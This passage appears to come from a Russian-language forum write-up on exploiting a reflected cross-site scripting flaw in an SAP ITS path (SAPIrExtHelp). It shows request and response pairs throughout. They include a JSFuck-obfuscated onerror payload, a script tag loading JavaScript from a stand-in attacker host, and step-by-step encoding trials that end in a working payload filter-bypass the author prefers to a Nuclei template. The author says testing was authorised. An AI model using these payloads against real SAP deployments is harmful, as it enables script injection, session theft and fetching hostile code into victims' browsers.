<meta http-equiv="refresh" content="0; URL=/SAPIKS2/logonFromUrl.sap?null&_CLASS=RANDOM/SAPIREXTHELP/RANDOM/"><IMG SRC=X ONERROR=[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+[+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[!+[]+!+[]+[+[]]])>">
</head>
<body>
</body>
</html>
Изображение [2]
Изображение [3]
Теперь мой запрос:
Код: Скопировать в буфер обмена
GET /SAPIrExtHelp/random/SAPIrExtHelp/random/"><script%20src=http://xacker.mamkin/1.JS>.asp HTTP/2
Ответ:
Код: Скопировать в буфер обмена
Код:
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=ISO-8859-1">
<meta http-equiv="refresh" content="0; URL=/SAPIKS2/logonFromUrl.sap?null&_CLASS=RANDOM/SAPIREXTHELP/RANDOM/"><SCRIPT SRC=HTTP:/XACKER.MAMKIN/1.JS>">
</head>
<body>
</body>
</html>
Код: Скопировать в буфер обмена
GET /SAPIrExtHelp/random/SAPIrExtHelp/random/"><img/src=x/onerror=print(1)>.asp HTTP/2
Ответ, который я получил:
Код: Скопировать в буфер обмена
HTTP/2 404 Not Found
Так почему я получил ошибку 404? Точка с запятой (
200 OK
Код: Скопировать в буфер обмена
GET /SAPIrExtHelp/random/SAPIrExtHelp/random/">.asp HTTP/2
404 Not Found
Код: Скопировать в буфер обмена
GET /SAPIrExtHelp/random/SAPIrExtHelp/random/">.asp HTTP/2
200 OK / Но ответ не декодирован, это ">
Код: Скопировать в буфер обмена
GET /SAPIrExtHelp/random/SAPIrExtHelp/random/">.asp HTTP/2
Может мне следует использовать " вместо "?
404 Not Found
Код: Скопировать в буфер обмена
GET /SAPIrExtHelp/random/SAPIrExtHelp/random/">.asp HTTP/2
Что если я уберу ;
200 OK, хорошо, этот, кажется, работает.
Код: Скопировать в буфер обмена
GET /SAPIrExtHelp/random/SAPIrExtHelp/random/">.asp HTTP/2
Теперь я вернусь и закодирую то, что нужно правильным образом
Код: Скопировать в буфер обмена
GET /SAPIrExtHelp/random/SAPIrExtHelp/random/"><img/src=x/onerror=print(1)>.asp HTTP/
Если у меня 200 OK, возможно, проблема с тегом img:
Код: Скопировать в буфер обмена
GET /SAPIrExtHelp/random/SAPIrExtHelp/random/"><img%20src=x%20onerror=print(1)>.asp HTTP/2
Это сработало, здорово! Но проблема здесь в том, что HTML-кодированная часть также должна быть URL-кодированной, иначе & будет считаться специальным символом. Так что окончательный запрос будет:
Код: Скопировать в буфер обмена
GET /SAPIrExtHelp/random/SAPIrExtHelp/random/"><img%20src=x%20onerror=%26%23112%26%23114%26%23105%26%23110%26%23116(1)>.asp HTTP/2
Ответ:
Код: Скопировать в буфер обмена
Код:
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=ISO-8859-1">
<meta http-equiv="refresh" content="0; URL=/SAPIKS2/logonFromUrl.sap?null&_CLASS=RANDOM/SAPIREXTHELP/RANDOM/"><IMG SRC=X ONERROR=print(1)>">
</head>
<body>
</body>
</html>
Изображение [4]
Мой пейлоад был print xD
В результате теперь у нас есть лучший (более правильный) пейлоад, чем тот, что был в Nuclei, потому что наш кодирует то, что нужно, а не всё.
П.С. Тестировалось с разрешения, очевидно.